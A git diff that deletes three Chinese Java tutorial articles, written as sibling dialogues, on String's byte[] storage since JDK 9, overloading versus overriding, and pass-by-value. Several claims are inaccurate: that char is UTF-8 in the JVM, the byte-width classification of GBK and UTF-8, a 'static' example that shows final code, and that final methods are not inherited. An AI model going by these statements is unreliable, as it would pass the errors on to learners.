-![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/basic-extra-meal/jdk9-char-byte-string.md b/docs/src/basic-extra-meal/jdk9-char-byte-string.md deleted file mode 100644 index 6283ac3ac5..0000000000 --- a/docs/src/basic-extra-meal/jdk9-char-byte-string.md +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Java 9为什么要将String的底层实现由char数组改成了byte数组? -shortTitle: String的底层实现为什么由char改成了byte? -category: - - Java核心 -tag: - - Java重要知识点 -description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,jdk9为什么要将String的底层实现由char数组改成了byte数组? -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,string,char,byte,java string 底层实现,java字符串源码,java string char,java string byte,java string char byte,java ---- - -“二哥,最近在我阅读 Java 11 的字符串源码,发现和 Java 8 的有很大不同。”三妹的脸上洋溢着青春的微笑😊,甜美地说道:“String 类的源码已经由 `char[]` 优化为了 `byte[]` 来存储字符串内容,为什么要这样做呢?” - -“开门见山地说,从 `char[]` 到 `byte[]`,最主要的目的是**节省字符串占用的内存空间**。内存占用减少带来的另外一个好处,就是 GC 次数也会减少。”我用右手的大拇指凑了一下眼镜解释道。 - -### 为什么要优化? - -我们使用 `jmap -histo:live pid | head -n 10` 命令就可以查看到堆内对象示例的统计信息、查看 ClassLoader 的信息以及 finalizer 队列。 - -以我正在运行着的[编程喵](https://github.com/itwanger/coding-more)项目实例(基于 Java 8)来说,结果是这样的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/jdk9-char-byte-string-d826ce88-bbbe-47a3-a1a9-4dd86dd3632f.png) - -其中 String 对象有 17638 个,占用了 423312 个字节的内存,排在第三位。 - -由于 Java 8 的 String 内部实现仍然是 `char[]`,所以我们可以看到内存占用排在第 1 位的就是 char 数组。 - -`char[]` 对象有 17673 个,占用了 1621352 个字节的内存,排在第一位。 - -那也就是说优化 String 节省内存空间是非常有必要的,如果是去优化一个使用频率没有 String 这么高的类,就没什么必要,对吧? - -### 为什么能节省内存空间? - -众所周知,char 类型的数据在 JVM 中是占用两个字节的,并且使用的是 UTF-8 [编码](https://javabetter.cn/basic-extra-meal/java-unicode.html),其值范围在 '\u0000'(0)和 '\uffff'(65,535)(包含)之间。 - -也就是说,使用 `char[]` 来表示 String 就会导致,即使 String 中的字符只用一个字节就能表示,也得占用两个字节。 - ->PS:在计算机中,单字节字符通常指的是一个字节(8位)可以表示的字符,而双字节字符则指需要两个字节(16位)才能表示的字符。单字节字符和双字节字符的定义是相对的,不同的编码方式对应的单字节和双字节字符集也不同。常见的单字节字符集有ASCII(美国信息交换标准代码)、ISO-8859(国际标准化组织标准编号8859)、GBK(汉字内码扩展规范)、GB2312(中国国家标准,现在已经被GBK取代),像拉丁字母、数字、标点符号、控制字符都是单字节字符。双字节字符集包括 Unicode、UTF-8、GB18030(中国国家标准),中文、日文、韩文、拉丁文扩展字符属于双字节字符。 - -当然了,仅仅将 `char[]` 优化为 `byte[]` 是不够的,还要配合 Latin-1 的编码方式,该编码方式是用单个字节来表示字符的,这样就比 UTF-8 编码节省了更多的空间。 - -换句话说,对于: - -```java -String name = "jack"; -``` - -这样的,使用 Latin-1 编码,占用 4 个字节就够了。 - -但对于: - -```java -String name = "小二"; -``` - -这种,木的办法,只能使用 UTF16 来编码。 - -针对 JDK 9 的 String 源码里,为了区别编码方式,追加了一个 coder 字段来区分。 - -```java -/** - * The identifier of the encoding used to encode the bytes in - * {@code value}. The supported values in this implementation are - * - * LATIN1 - * UTF16 - * - * @implNote This field is trusted by the VM, and is a subject to - * constant folding if String instance is constant. Overwriting this - * field after construction will cause problems. - */ -private final byte coder; -``` - -Java 会根据字符串的内容自动设置为相应的编码,要么 Latin-1 要么 UTF16。 - -也就是说,从 `char[]` 到 `byte[]`,**中文是两个字节,纯英文是一个字节,在此之前呢,中文是两个字节,英文也是两个字节**。 - -### 为什么用UTF-16而不用UTF-8呢? - -在 UTF-8 中,0-127 号的字符用 1 个字节来表示,使用和 ASCII 相同的编码。只有 128 号及以上的字符才用 2 个、3 个或者 4 个字节来表示。 - -- 如果只有一个字节,那么最高的比特位为 0; -- 如果有多个字节,那么第一个字节从最高位开始,连续有几个比特位的值为 1,就使用几个字节编码,剩下的字节均以 10 开头。 - -具体的表现形式为: - -- 0xxxxxxx:一个字节; -- 110xxxxx 10xxxxxx:两个字节编码形式(开始两个 1); -- 1110xxxx 10xxxxxx 10xxxxxx:三字节编码形式(开始三个 1); -- 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx:四字节编码形式(开始四个 1)。 - -也就是说,UTF-8 是变长的,那对于 String 这种有随机访问方法的类来说,就很不方便。所谓的随机访问,就是charAt、subString这种方法,随便指定一个数字,String要能给出结果。如果字符串中的每个字符占用的内存是不定长的,那么进行随机访问的时候,就需要从头开始数每个字符的长度,才能找到你想要的字符。 - -那三妹可能会问,UTF-16也是变长的呢?一个字符还可能占用 4 个字节呢? - -的确,UTF-16 使用 2 个或者 4 个字节来存储字符。 - -- 对于 Unicode 编号范围在 0 ~ FFFF 之间的字符,UTF-16 使用两个字节存储。 -- 对于 Unicode 编号范围在 10000 ~ 10FFFF 之间的字符,UTF-16 使用四个字节存储,具体来说就是:将字符编号的所有比特位分成两部分,较高的一些比特位用一个值介于 D800~DBFF 之间的双字节存储,较低的一些比特位(剩下的比特位)用一个值介于 DC00~DFFF 之间的双字节存储。 - -但是在 Java 中,一个字符(char)就是 2 个字节,占 4 个字节的字符,在 Java 里也是用两个 char 来存储的,而String的各种操作,都是以Java的字符(char)为单位的,charAt是取得第几个char,subString取的也是第几个到第几个char组成的子串,甚至length返回的都是char的个数。 - -所以UTF-16在Java的世界里,就可以视为一个定长的编码。 - ->参考链接:[https://www.zhihu.com/question/447224628](https://www.zhihu.com/question/447224628) - -“好了,三妹,那关于Java 9为什么要将String的底层实现由char数组改成了byte数组就聊到这里吧。”我对三妹说,“有时候,读一读源码确实能成长很多,多问问为什么,挺好!” - -“是啊,任何知识想要深入去学习,就能挖掘出来很多。”三妹说,“比如说今天聊到的UTF-16和UTF-8。” - -“好了,我要去回答星球球友的提问了,你可以休息会,比如说听听 H.O.T 的歌,真不错。” - -“哈哈,没想到,哥你也是个 H.O.T 的粉丝啊!” - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/basic-extra-meal/override-overload.md b/docs/src/basic-extra-meal/override-overload.md deleted file mode 100644 index c6e3dbf1aa..0000000000 --- a/docs/src/basic-extra-meal/override-overload.md +++ /dev/null @@ -1,613 +0,0 @@ ---- -title: 方法重写 Override 和方法重载 Overload 有什么区别? -shortTitle: Java方法重写和方法重载 -description: 本文深入剖析了Java编程中的方法重写Override和方法重载Overload,探讨了它们的概念、区别以及在实际应用中的用途。通过详细的示例和解释,帮助读者更好地理解和掌握Java面向对象编程中的方法重载与重写技巧。 -category: - - Java 核心 -tag: - - 面向对象编程 -head: - - - meta - - name: keywords - content: Java,方法重写,方法重载,Override,Overload,java 方法重载 方法重写,java Override Overload,java 方法重载,java 方法重写 ---- - -入冬的夜,总是来得特别的早。我静静地站在阳台,目光所及之处,不过是若隐若现的钢筋混凝土,还有那毫无情调的灯光。 - -“哥,别站在那发呆了。今天学啥啊,七点半我就要回学校了,留给你的时间不多了,你要抓紧哦。”三妹傲娇的声音一下子把我从游离的状态拉回到了现实。 - -“今天要学习 Java 中的方法重载与方法重写。”我迅速地走到电脑前面,打开一份 Excel 文档,看了一下《教妹学 Java(二哥的 Java 进阶之路前身)》的进度,然后对三妹说。 - -“如果一个类有多个名字相同但参数个数不同的方法,我们通常称这些方法为方法重载。 ”我面带着朴实无华的微笑继续说,“如果方法的功能是一样的,但参数不同,使用相同的名字可以提高程序的可读性。” - -“如果子类具有和父类一样的方法(参数相同、返回类型相同、方法名相同,但方法体可能不同),我们称之为方法重写。 方法重写用于提供父类已经声明的方法的特殊实现,是实现多态的基础条件。” - -“只不过,方法重载与方法重写在名字上很相似,就像是兄弟俩,导致初学者经常把它们俩搞混。” - -“方法重载的英文名叫 Overloading,方法重写的英文名叫 Overriding,因此,不仅中文名很相近,英文名之间也很相近,这就更容易让初学者搞混了。” - -“但两者其实是完全不同的!通过下面这张图,你就能看得一清二楚。” - -话音刚落,我就在 IDEA 中噼里啪啦地敲了起来。两段代码,分别是方法重写和方法重载。然后,把这两段代码截图到 draw.io(一个很漂亮的在线画图网站)上,加了一些文字说明。最后,打开 Photoscape X,把两张图片合并到了一起。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/21-01.png) - -### 01、方法重载 - -“三妹,你仔细听哦。”我缓了一口气后继续说道。 - -“在 Java 中,有两种方式可以达到方法重载的目的。” - -“第一,改变参数的数目。来看下面这段代码。” - -```java -public class OverloadingByParamNum { - public static void main(String[] args) { - System.out.println(Adder.add(10, 19)); - System.out.println(Adder.add(10, 19, 20)); - } -} - -class Adder { - static int add(int a, int b) { - return a + b; - } - - static int add(int a, int b, int c) { - return a + b + c; - } -} -``` - -“Adder 类有两个方法,第一个 `add()` 方法有两个参数,在调用的时候可以传递两个参数;第二个 `add()` 方法有三个参数,在调用的时候可以传递三个参数。” - -“二哥,这样的代码不会显得啰嗦吗?如果有四个参数的时候就再追加一个方法?”三妹突然提了一个很尖锐的问题。 - -“那倒是,这个例子只是为了说明方法重载的一种类型。如果参数类型相同的话,Java 提供了可变参数的方式,就像下面这样。” - -```java -static int add(int ... args) { - int sum = 0; - for ( int a: args) { - sum += a; - } - return sum; -} -``` - -“第二,通过改变参数类型,也可以达到方法重载的目的。来看下面这段代码。” - -```java -public class OverloadingByParamType { - public static void main(String[] args) { - System.out.println(Adder.add(10, 19)); - System.out.println(Adder.add(10.1, 19.2)); - } -} - -class Adder { - static int add(int a, int b) { - return a + b; - } - - static double add(double a, double b) { - return a + b; - } -} -``` - -“Adder 类有两个方法,第一个 `add()` 方法的参数类型为 int,第二个 `add()` 方法的参数类型为 double。” - -“二哥,改变参数的数目和类型都可以实现方法重载,为什么改变方法的返回值类型就不可以呢?”三妹很能抓住问题的重点嘛。 - -“因为仅仅改变返回值类型的话,会把编译器搞懵逼的。”我略带调皮的口吻回答她。 - -“编译时报错优于运行时报错,所以当两个方法的名字相同,参数个数和类型也相同的时候,虽然返回值类型不同,但依然会提示方法已经被定义的错误。” - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/21-02.png) - -“你想啊,三妹。我们在调用一个方法的时候,可以指定返回值类型,也可以不指定。当不指定的时候,直接指定 `add(1, 2)` 的时候,编译器就不知道该调用返回 int 的 `add()` 方法还是返回 double 的 `add()` 方法,产生了歧义。” - -“方法的返回值只是作为方法运行后的一个状态,它是保持方法的调用者和被调用者进行通信的一个纽带,但并不能作为某个方法的‘标识’。” - -“二哥,我想到了一个点,`main()` 方法可以重载吗?” - -“三妹,这是个好问题啊!答案是肯定的,毕竟 `main()` 方法也是个方法,只不过,Java 虚拟机在运行的时候只会调用带有 String 数组的那个 `main()` 方法。” - -```java -public class OverloadingMain { - public static void main(String[] args) { - System.out.println("String[] args"); - } - - public static void main(String args) { - System.out.println("String args"); - } - - public static void main() { - System.out.println("无参"); - } -} -``` - -“第一个 `main()` 方法的参数形式为 `String[] args`,是最标准的写法;第二个 `main()` 方法的参数形式为 `String args`,少了中括号;第三个 `main()` 方法没有参数。” - -“来看一下程序的输出结果。” - -``` -String[] args -``` - -“从结果中,我们可以看得出,尽管 `main()` 方法可以重载,但程序只认标准写法。” - -“由于可以通过改变参数类型的方式实现方法重载,那么当传递的参数没有找到匹配的方法时,就会发生隐式的类型转换。” - -![](http://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/override-overload-0d30f41f-1f53-4988-b506-731d79ed16d1.png) - -“如上图所示,byte 可以向上转换为 short、int、long、float 和 double,short 可以向上转换为 int、long、float 和 double,char 可以向上转换为 int、long、float 和 double,依次类推。” - -“三妹,来看下面这个示例。” - -```java -public class OverloadingTypePromotion { - void sum(int a, long b) { - System.out.println(a + b); - } - - void sum(int a, int b, int c) { - System.out.println(a + b + c); - } - - public static void main(String args[]) { - OverloadingTypePromotion obj = new OverloadingTypePromotion(); - obj.sum(20, 20); - obj.sum(20, 20, 20); - } -} -``` - -“执行 `obj.sum(20, 20)` 的时候,发现没有 `sum(int a, int b)` 的方法,所以此时第二个 20 向上转型为 long,所以调用的是 `sum(int a, long b)` 的方法。” - -“再来看一个示例。” - -```java -public class OverloadingTypePromotion1 { - void sum(int a, int b) { - System.out.println("int"); - } - - void sum(long a, long b) { - System.out.println("long"); - } - - public static void main(String args[]) { - OverloadingTypePromotion1 obj = new OverloadingTypePromotion1(); - obj.sum(20, 20); - } -} -``` - -“执行 `obj.sum(20, 20)` 的时候,发现有 `sum(int a, int b)` 的方法,所以就不会向上转型为 long。” - -“来看一下程序的输出结果。” - -``` -int -``` - -“继续来看示例。” - -```java -public class OverloadingTypePromotion2 { - void sum(long a, int b) { - System.out.println("long int"); - } - - void sum(int a, long b) { - System.out.println("int long"); - } - - public static void main(String args[]) { - OverloadingTypePromotion2 obj = new OverloadingTypePromotion2(); - obj.sum(20, 20); - } -} -``` - -“二哥,我又想到一个问题。当有两个方法 `sum(long a, int b)` 和 `sum(int a, long b)`,参数个数相同,参数类型相同,只不过位置不同的时候,会发生什么呢?” - -“当通过 `obj.sum(20, 20)` 来调用 sum 方法的时候,编译器会提示错误。” - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/21-04.png) - -“不明确,编译器会很为难,究竟是把第一个 20 从 int 转成 long 呢,还是把第二个 20 从 int 转成 long,智障了!所以,不能写这样让编译器左右为难的代码。” - -### 02、方法重写 - -“三妹,累吗?我们稍微休息一下吧。”我把眼镜摘下来,放到桌子上,闭上了眼睛,开始胡思乱想起来。 - -2000 年,周杰伦横空出世,让青黄不接的唱片行业为之一振,由此开启了新一代天王争霸的黄金时代。2020 年,杰伦胖了,也贪玩了,一年出一张单曲都变得可遇不可求。 - -20 年前,程序员很稀有;20 年后,程序员内卷了。时间永远不会停下脚步,明年会不会好起来呢? - -“哥,醒醒,你就说休息一会,没说睡着啊。赶紧,我还有半个小时就要走了。” - -我戴上眼镜,对三妹继续说道:“在 Java 中,方法重写需要满足以下三个规则。” - -- 重写的方法必须和父类中的方法有着相同的名字; -- 重写的方法必须和父类中的方法有着相同的参数; -- 必须是 is-a 的关系(继承关系)。 - -“来看下面这段代码。” - -```java -public class Bike extends Vehicle { - public static void main(String[] args) { - Bike bike = new Bike(); - bike.run(); - } -} - -class Vehicle { - void run() { - System.out.println("车辆在跑"); - } -} -``` - -“来看一下程序的输出结果。” - -``` -车辆在跑 -``` - -“Bike is-a Vehicle,自行车是一种车,没错。Vehicle 类有一个 `run()` 的方法,也就是说车辆可以跑,Bike 继承了 Vehicle,也可以跑。但如果 Bike 没有重写 `run()` 方法的话,自行车就只能是‘车辆在跑’,而不是‘自行车在跑’,对吧?” - -“如果有了方法重写,一切就好办了。” - -```java -public class Bike extends Vehicle { - @Override - void run() { - System.out.println("自行车在跑"); - } - - public static void main(String[] args) { - Bike bike = new Bike(); - bike.run(); - } -} - -class Vehicle { - void run() { - System.out.println("车辆在跑"); - } -} -``` - -我把鼠标移动到 Bike 类的 `run()` 方法,对三妹说:“你看,在方法重写的时候,IDEA 会建议使用 `@Override` 注解,显式的表示这是一个重写后的方法,尽管可以缺省。” - -“来看一下程序的输出结果。” - -``` -自行车在跑 -``` - -“Bike 重写了 `run()` 方法,也就意味着,Bike 可以跑出自己的风格。” - -好,接下来说一下重写时应当遵守的 12 条规则,应当谨记哦。 - -#### **规则一:只能重写继承过来的方法**。 - -因为重写是在子类重新实现从父类[继承](https://javabetter.cn/oo/extends-bigsai.html)过来的方法时发生的,所以只能重写继承过来的方法,这很好理解。这就意味着,只能重写那些被 public、protected 或者 default 修饰的方法,private 修饰的方法无法被重写。 - -Animal 类有 `move()`、`eat()` 和 `sleep()` 三个方法: - -```java -public class Animal { - public void move() { } - - protected void eat() { } - - void sleep(){ } -} -``` - -Dog 类来重写这三个方法: - -```java -public class Dog extends Animal { - public void move() { } - - protected void eat() { } - - void sleep(){ } -} -``` - -OK,完全没有问题。但如果父类中的方法是 private 的,就行不通了。 - -```java -public class Animal { - private void move() { } -} -``` - -此时,Dog 类中的 `move()` 方法就不再是一个重写方法了,因为父类的 `move()` 方法是 private 的,对子类并不可见。 - -```java -public class Dog extends Animal { - public void move() { } -} -``` - -#### **规则二:final、static 的方法不能被重写**。 - -一个方法是 [final](https://javabetter.cn/oo/final.html) 的就意味着它无法被子类继承到,所以就没办法重写。 - -```java -public class Animal { - final void move() { } -} -``` - -由于父类 Animal 中的 `move()` 是 final 的,所以子类在尝试重写该方法的时候就出现编译错误了! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/Overriding-2.png) - -同样的,如果一个方法是 [static](https://javabetter.cn/oo/static.html) 的,也不允许重写,因为静态方法可用于父类以及子类的所有实例。 - -```java -public class Animal { - final void move() { } -} -``` - -重写的目的在于根据对象的类型不同而表现出多态,而静态方法不需要创建对象就可以使用。没有了对象,重写所需要的“对象的类型”也就没有存在的意义了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/Overriding-3.png) - -#### **规则三:重写的方法必须有相同的参数列表**。 - -```java -public class Animal { - void eat(String food) { } -} -``` - -Dog 类中的 `eat()` 方法保持了父类方法 `eat()` 的同一个调调,都有一个参数——String 类型的 food。 - -```java -public class Dog extends Animal { - public void eat(String food) { } -} -``` - -一旦子类没有按照这个规则来,比如说增加了一个参数: - -```java -public class Dog extends Animal { - public void eat(String food, int amount) { } -} -``` - -这就不再是重写的范畴了,当然也不是重载的范畴,因为重载考虑的是同一个类。 - -**规则四:重写的方法必须返回相同的类型**。 - -父类没有返回类型: - -```java -public class Animal { - void eat(String food) { } -} -``` - -子类尝试返回 String: - -```java -public class Dog extends Animal { - public String eat(String food) { - return null; - } -} -``` - -于是就编译出错了(返回类型不兼容)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/Overriding-4.png) - -#### **规则五:重写的方法不能使用限制等级更严格的权限修饰符**。 - -可以这样来理解: - -- 如果被重写的方法是 default,那么重写的方法可以是 default、protected 或者 public。 -- 如果被重写的方法是 protected,那么重写的方法只能是 protected 或者 public。 -- 如果被重写的方法是 public, 那么重写的方法就只能是 public。 - -举个例子,父类中的方法是 protected: - -```java -public class Animal { - protected void eat() { } -} -``` - -子类中的方法可以是 public: - -```java -public class Dog extends Animal { - public void eat() { } -} -``` - -如果子类中的方法用了更严格的权限修饰符,编译器就报错了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/Overriding-5.png) - -#### **规则六:重写后的方法不能抛出比父类中更高级别的异常**。 - -举例来说,如果父类中的方法抛出的是 IOException,那么子类中重写的方法不能抛出 Exception,可以是 IOException 的子类或者不抛出任何[异常](https://javabetter.cn/exception/gailan.html)。这条规则只适用于可检查的异常。 - -可检查(checked)异常必须在源代码中显式地进行捕获处理,不检查(unchecked)异常就是所谓的运行时异常,比如说 NullPointerException、ArrayIndexOutOfBoundsException 之类的,不会在编译器强制要求。 - -父类抛出 IOException: - -```java -public class Animal { - protected void eat() throws IOException { } -} -``` - -子类抛出 FileNotFoundException 是可以满足重写的规则的,因为 FileNotFoundException 是 IOException 的子类。 - -```java -public class Dog extends Animal { - public void eat() throws FileNotFoundException { } -} -``` - -如果子类抛出了一个新的异常,并且是一个 checked 异常: - -```java -public class Dog extends Animal { - public void eat() throws FileNotFoundException, InterruptedException { } -} -``` - -那编译器就会提示错误: - -``` -Error:(9, 16) java: com.itwanger.overriding.Dog中的eat()无法覆盖com.itwanger.overriding.Animal中的eat() - 被覆盖的方法未抛出java.lang.InterruptedException -``` - -但如果子类抛出的是一个 unchecked 异常,那就没有冲突: - -```java -public class Dog extends Animal { - public void eat() throws FileNotFoundException, IllegalArgumentException { } -} -``` - -如果子类抛出的是一个更高级别的异常: - -```java -public class Dog extends Animal { - public void eat() throws Exception { } -} -``` - -编译器同样会提示错误,因为 Exception 是 IOException 的父类。 - -``` -Error:(9, 16) java: com.itwanger.overriding.Dog中的eat()无法覆盖com.itwanger.overriding.Animal中的eat() - 被覆盖的方法未抛出java.lang.Exception -``` - -#### **规则七:可以在子类中通过 super 关键字来调用父类中被重写的方法**。 - -子类继承父类的方法而不是重新实现是很常见的一种做法,在这种情况下,可以按照下面的形式调用父类的方法: - -```java -super.overriddenMethodName(); -``` - -来看例子。 - -```java -public class Animal { - protected void eat() { } -} -``` - -子类重写了 `eat()` 方法,然后在子类的 `eat()` 方法中,可以在方法体的第一行通过 `super.eat()` 调用父类的方法,然后再增加属于自己的代码。 - -```java -public class Dog extends Animal { - public void eat() { - super.eat(); - // Dog-eat - } -} -``` - -#### **规则八:构造方法不能被重写**。 - -因为[构造方法](https://javabetter.cn/oo/construct.html)很特殊,而且子类的构造方法不能和父类的构造方法同名(类名不同),所以构造方法和重写之间没有任何关系。 - -#### **规则九:如果一个类继承了抽象类,抽象类中的抽象方法必须在子类中被重写**。 - -先来看这样一个接口: - -```java -public interface Animal { - void move(); -} -``` - -接口中的方法默认都是抽象方法,通过反编译是可以看得到的: - -```java -public interface Animal -{ - public abstract void move(); -} -``` - -如果一个抽象类实现了 Animal 接口,`move()` 方法不是必须被重写的: - -```java -public abstract class AbstractDog implements Animal { - protected abstract void bark(); -} -``` - -但如果一个类继承了抽象类 AbstractDog,那么 Animal 接口中的 `move()` 方法和抽象类 AbstractDog 中的抽象方法 `bark()` 都必须被重写: - -```java -public class BullDog extends AbstractDog { - - public void move() {} - - protected void bark() {} -} -``` - -#### **规则十:synchronized 关键字对重写规则没有任何影响**。 - -[synchronized 关键字](https://javabetter.cn/thread/synchronized-1.html)用于在多线程环境中获取和释放监听对象,因此它对重写规则没有任何影响,这就意味着 synchronized 方法可以去重写一个非同步方法。 - -#### **规则十一:strictfp 关键字对重写规则没有任何影响**。 - -如果你想让浮点运算更加精确,而且不会因为硬件平台的不同导致执行的结果不一致的话,可以在方法上添加 [strictfp 关键字,之前讲过](https://javabetter.cn/basic-extra-meal/48-keywords.html)。因此 strictfp 关键字和重写规则无关。 - -### 03、总结 - -“好了,三妹,我来简单做个总结。”我瞥了一眼电脑右上角的时钟,离三妹离开的时间不到 10 分钟了。 - -“首先来说一下方法重载时的注意事项,‘两同一不同’。” - -“‘两同’:在同一个类,方法名相同。” - -“‘一不同’:参数不同。” - -“再来说一下方法重写时的注意事项,‘两同一小一大’。” - -“‘两同’:方法名相同,参数相同。” - -“‘一小’:子类方法声明的异常类型要比父类小一些或者相等。” - -“‘一大’:子类方法的访问权限应该比父类的更大或者相等。” - -“记住了吧?三妹。带上口罩,拿好手机,咱准备出门吧。”今天限号,没法开车送三妹去学校了。 - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/basic-extra-meal/pass-by-value.md b/docs/src/basic-extra-meal/pass-by-value.md deleted file mode 100644 index c3b3024dfe..0000000000 --- a/docs/src/basic-extra-meal/pass-by-value.md +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: Java到底是值传递还是引用传递? -shortTitle: Java是值传递还是引用传递? -category: - - Java核心 -tag: - - Java重要知识点 -description: 在 Java 中,参数传递采用值传递方式。对于原始数据类型,直接传递值,而对于对象,实际传递的是引用的值。这使得在方法调用时,无法直接修改原始参数,但可以更改引用指向的对象的属性。掌握 Java 参数传递机制有助于编写更加稳定可靠的程序。 -author: 沉默王二 -head: - - - meta - - name: keywords - content: Java, 参数传递, 值传递, 引用传递 ---- - - -“哥,说说 Java 到底是值传递还是引用传递吧?”三妹一脸的困惑,看得出来她被这个问题折磨得不轻。 - -“说实在的,我在一开始学 Java 的时候也被这个问题折磨得够呛,总以为[基本数据类型](https://javabetter.cn/basic-grammar/basic-data-type.html)在传参的时候是值传递,而引用类型是引用传递。”我对三妹袒露了心声,为的就是让她不再那么焦虑,她哥当年也是这么过来的。 - -[C 语言](https://javabetter.cn/xuexiluxian/c.html)是很多编程语言的母胎,包括 Java,那么对于 C 语言来说,所有的方法参数都是“通过值”传递的,也就是说,传递给被调用方法的参数值存放在临时变量中,而不是存放在原来的变量中。这就意味着,被调用的方法不能修改调用方法中变量的值,而只能修改其私有变量的临时副本的值。 - -Java 继承了 C 语言这一特性,因此 Java 是按照值来传递的。 - -接下来,我们必须得搞清楚,到底什么是值传递(pass by value),什么是引用传递(pass by reference),否则,讨论 Java 到底是值传递还是引用传递就显得毫无意义。 - -当一个参数按照值的方式在两个方法之间传递时,调用者和被调用者其实是用的两个不同的变量——被调用者中的变量(原始值)是调用者中变量的一份拷贝,对它们当中的任何一个变量修改都不会影响到另外一个变量,据说 Fortran 语言是通过引用传递的。 - -“Fortran 语言?”三妹睁大了双眼,似乎听见了什么新的名词。 - -“是的,Fortran 语言,1957 年由 IBM 公司开发,是世界上第一个被正式采用并流传至今的高级编程语言。” - -当一个参数按照引用传递的方式在两个方法之间传递时,调用者和被调用者其实用的是同一个变量,当该变量被修改时,双方都是可见的。 - -“我们之所以容易搞不清楚 Java 到底是值传递还是引用传递,主要是因为 Java 中的两类数据类型的叫法容易引发误会,比如说 int 是基本类型,说它是值传递的,我们就很容易理解;但对于引用类型,比如说 String,说它也是值传递的时候,我们就容易弄不明白。” - -我们来看看基本数据类型和引用数据类型之间的差别。 - -```java -int age = 18; -String name = "二哥"; -``` - -age 是基本类型,值就保存在变量中,而 name 是引用类型,变量中保存的是对象的地址。一般称这种变量为对象的引用,引用存放在栈中,而对象存放在堆中。 - -这里说的栈和堆,是指内存中的一块区域,和数据结构中的栈和堆不一样。栈是由编译器自动分配释放的,所以适合存放编译期就确定生命周期的数据;而堆中存放的数据,编译器是不需要知道生命周期的,创建后的回收工作由垃圾收集器来完成。 - -“画幅图。” - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/pass-by-value-01.png) - -当用 = 赋值运算符改变 age 和 name 的值时。 - -```java -age = 16; -name = "三妹"; -``` - -对于基本类型 age,赋值运算符会直接改变变量的值,原来的值被覆盖。 - -对于引用类型 name,赋值运算符会改变对象引用中保存的地址,原来的地址被覆盖,但原来的对象不会被覆盖。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/pass-by-value-02.png) - -“三妹,注意听,接下来,我们来说说基本数据类型的参数传递。” - -Java 有 8 种基本数据类型,分别是 int、long、byte、short、float、double 、char 和 boolean,就拿 int 类型来举例吧。 - -```java -class PrimitiveTypeDemo { - public static void main(String[] args) { - int age = 18; - modify(age); - System.out.println(age); - } - - private static void modify(int age1) { - age1 = 30; - } -} -``` - -1)`main()` 方法中的 age 为基本类型,所以它的值 18 直接存储在变量中。 - -2)调用 `modify()` 方法的时候,将会把 age 的值 18 复制给形参 age1。 - -3)`modify()` 方法中,对 age1 做出了修改。 - -4)回到 `main()` 方法中,age 的值仍然为 18,并没有发生改变。 - -如果我们想让 age 的值发生改变,就需要这样做。 - -```java -class PrimitiveTypeDemo1 { - public static void main(String[] args) { - int age = 18; - age = modify(age); - System.out.println(age); - } - - private static int modify(int age1) { - age1 = 30; - return age1; - } -} -``` - -第一,让 `modify()` 方法有返回值; - -第二,使用赋值运算符重新对 age 进行赋值。 - -“好了,再来说说引用类型的参数传递。” - -就以 String 为例吧。 - -```java -class ReferenceTypeDemo { - public static void main(String[] args) { - String name = "二哥"; - modify(name); - System.out.println(name); - } - - private static void modify(String name1) { - name1 = "三妹"; - } -} -``` - -在调用 `modify()` 方法的时候,形参 name1 复制了 name 的地址,指向的是堆中“二哥”的位置。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/pass-by-value-03.png) - -当 `modify()` 方法调用结束后,改变了形参 name1 的地址,但 `main()` 方法中 name 并没有发生改变。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-points/pass-by-value-04.png) - -总结: - -- Java 中的参数传递是按值传递的。 -- 如果参数是基本类型,传递的是基本类型的字面量值的拷贝。 -- 如果参数是引用类型,传递的是引用的对象在堆中地址的拷贝。 - -“好了,三妹,今天的学习就到这吧。” - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 